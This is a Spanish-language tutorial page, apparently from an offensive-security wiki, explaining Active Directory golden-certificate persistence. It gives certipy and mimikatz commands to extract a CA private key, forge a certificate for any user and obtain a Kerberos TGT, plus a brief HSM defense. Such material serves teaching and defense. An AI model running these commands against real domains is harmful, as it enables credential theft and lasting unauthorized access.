Persistencia

Forjar Golden Certificates

Cómo un atacante con la clave privada de la CA forja certificados para cualquier identidad del dominio y mantiene un acceso que sobrevive a los reseteos de contraseña.

Qué es

Un golden certificate es un certificado que el atacante fabrica con la clave privada de la CA. Sirve para cualquier identidad del dominio y el dominio lo acepta como legítimo. Es persistencia que sobrevive al reseteo de contraseñas y a la rotación de krbtgt.

Cómo funciona

El dominio confía en un certificado por la CA que lo firma, no por revisar cada emisión. Si la CA está en NTAuthCertificates, el dominio acepta sus certificados para autenticar por PKINIT. Con la clave privada de la CA, el atacante firma un certificado falso fuera de línea. No hay solicitud, no hay plantilla, no hay registro de emisión. El dominio no distingue ese certificado de uno real: los dos llevan la firma de la misma CA de confianza.

Diagrama

Comandos

Extraer el certificado y la clave privada de la CA (requiere admin en el servidor de la CA):

certipy ca -backup -ca '<CA>' -username <USER>@<DOMAIN> -password <PASSWORD>

Alternativa: exportar la clave con mimikatz en el servidor de la CA:

crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export

Forjar un certificado para cualquier identidad, fuera de línea:

certipy forge -ca-pfx <FILE> -upn <USER>@<DOMAIN>

Autenticar con el certificado forjado por PKINIT y obtener un TGT:

certipy auth -pfx <FILE> -dc-ip <IP>

Cómo defenderse

Guarda la clave privada de la CA en un HSM: sin acceso a la clave no hay certificado que forjar.

Siguiente

Puedes seguir leyendo aquí:

PersistenciaDCShadow

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.